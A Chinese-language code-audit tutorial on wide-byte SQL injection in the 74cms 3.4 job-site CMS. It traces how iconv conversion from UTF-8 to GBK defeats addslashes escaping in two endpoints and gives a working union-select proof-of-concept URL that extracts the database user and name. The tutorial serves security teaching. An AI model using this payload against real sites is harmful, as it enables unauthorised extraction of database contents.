【PHP代码审计实例教程】SQL注入-5.全局防护Bypass之宽字节注入
0x01 背景
首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:
1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;
2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。
现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码导致的注入问题。
思路来源于FreeBuf:
http://www.freebuf.com/articles/web/31537.html
漏洞来源于乌云:
http://www.wooyun.org/bugs/wooyun-2014-063219
0x02 环境搭建
看背景我们使用了低版本的74cms程序,版本为3.4(20140310)
①源码网上可以搜到,我打包了一份: http://pan.baidu.com/s/1c1mLCru
②解压到www的74cms(20140310)目录下,浏览器访问http://localhost/74cms(20140310)),然后按照提示一步步安装即可,安装遇到问题请自行百度或谷歌,成功后访问如下图:
0x03 漏洞分析
Part1:源码结构
源码的结构比较清晰,应该是审计过最清晰的结构了,主要有下面三块内容:
index.php引入了common.inc.php文件,我们跟进common.inc.php,发现了处理gpc的函数:
if (!empty($_GET)){$_GET = addslashes_deep($_GET);}if (!empty($_POST)){$_POST = addslashes_deep($_POST);}$_COOKIE = addslashes_deep($_COOKIE);$_REQUEST = addslashes_deep($_REQUEST);
可以看到,服务端处理GET和POST请求的变量时都会做addslashes处理。
而且74cms为了防止宽字节注入,将MySQL连接设置为二进制读取,配置在/include/mysql.class.php中:
function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){ $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect'; if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){ $this->dbshow('Can not connect to Mysql!'); } else { if($this->dbversion() > '4.1'){ mysql_query( "SET NAMES gbk"); if($this->dbversion() > '5.0.1'){ mysql_query("SET sql_mode = ''",$this->linkid); //character_set_client=binary即二进制方式 mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", character_set_client=binary", $this->linkid); } } }
接下来看看php中iconv函数的使用会造成什么样的后果。
Part2:审计过程
注入一分析:
1.在/plus/ajax_user.php注册处:
elseif ($act=='do_reg'){$captcha=get_cache('captcha');if ($captcha['verify_userreg']=="1"){ $postcaptcha=$_POST['postcaptcha']; if ($captcha['captcha_lang']=="cn" && strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $postcaptcha=iconv("utf-8",QISHI_DBCHARSET,$postcaptcha); } if (empty($postcaptcha) || empty($_SESSION['imageCaptcha_content']) || strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) { exit("err"); }}require_once(QISHI_ROOT_PATH.'include/fun_user.php');$username = isset($_POST['username'])?trim($_POST['username']):exit("err");$password = isset($_POST['password'])?trim($_POST['password']):exit("err");$member_type = isset($_POST['member_type'])?intval($_POST['member_type']):exit("err");$email = isset($_POST['email'])?trim($_POST['email']):exit("err");if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0){//对注册的名字进行utf-8到GBK的编码转换$username=iconv("utf-8",QISHI_DBCHARSET,$username);$password=iconv("utf-8",QISHI_DBCHARSET,$password);} $register=user_register($username,$password,$member_type,$email);
这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c。
所以如果我们将username设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\’,然后这里注册时会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来引发注入漏洞。
2.我们继续跟进$register=user_register($username,$password,$member_type,$email);
这里的user_register函数,在/include/fun_user.php里:
//检查简历的完成程度//注册会员function user_register($username,$password,$member_type=0,$email,$uc_reg=true){global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash;$member_type=intval($member_type);//这里是用get_user_inusername函数来判断用户名是否已经存在,我们跟进$ck_username=get_user_inusername($username);$ck_email=get_user_inemail($email);... ...return $insert_id;}
3.继续跟进get_user_inusername函数,在/include/fun_user.php里:
function get_user_inusername($username){global $db;//带入查询,可注入~$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";return $db->getone($sql);}
注入二分析:
在plus/ajax_street.php中:
elseif($act == 'key'){$key=trim($_GET['key']);if (!empty($key)){if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) //对参数key进行utf-8到GBK编码的转换$key=iconv("utf-8",QISHI_DBCHARSET,$key);//带入查询,可以注入$result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");//将查询结果输出到页面中,可回显while($row = $db->fetch_array($result)){ if ($listtype=="li") { $htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>"; } else { $_GET['streetid']=$row['c_id']; $url=url_rewrite('QS_street',$_GET); $htm.="<li><a href=\"{$url}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>"; };}if (empty($htm)){$htm="<span class=\"noinfo\">没有找到关键字: <span>{$key}</span> 相关道路!</span>";}exit($htm);}}
这里分析发现页面将查询结果回显出来,构造一些union的查询语句即可获取数据库的敏感信息。
0x04 漏洞证明
我们使用注入二(有回显)的来做证明
发现74cms的category表有9个字段,所以构造获取数据库用户和相关信息的POC:
http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23
查看sql语句发现查询语句里反斜杠被转移,单引号成功逃逸出来:
最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。
附GBK的汉字编码范围:
汉字区包括:
a. GB 2312 汉字区。即 GBK/2: B0A1-F7FE。收录 GB 2312 汉字 6763 个,按原顺序排列。
b. GB 13000.1 扩充汉字区。包括:
(1) GBK/3: 8140-A0FE。收录 GB 13000.1 中的 CJK 汉字 6080 个。
(2) GBK/4: AA40-FEA0。收录 CJK 汉字和增补的汉字 8160 个。CJK 汉字在前,按 UCS 代码大小排列;增补的汉字(包括部首和构件)在后,按《康熙字典》的页码/字位排列。
可以看到,GBK编码中的两个字符是一个汉字,第一个字符需要大于128。
原文地址:
http://www.cnbraid.com/2016/02/28/sql4/

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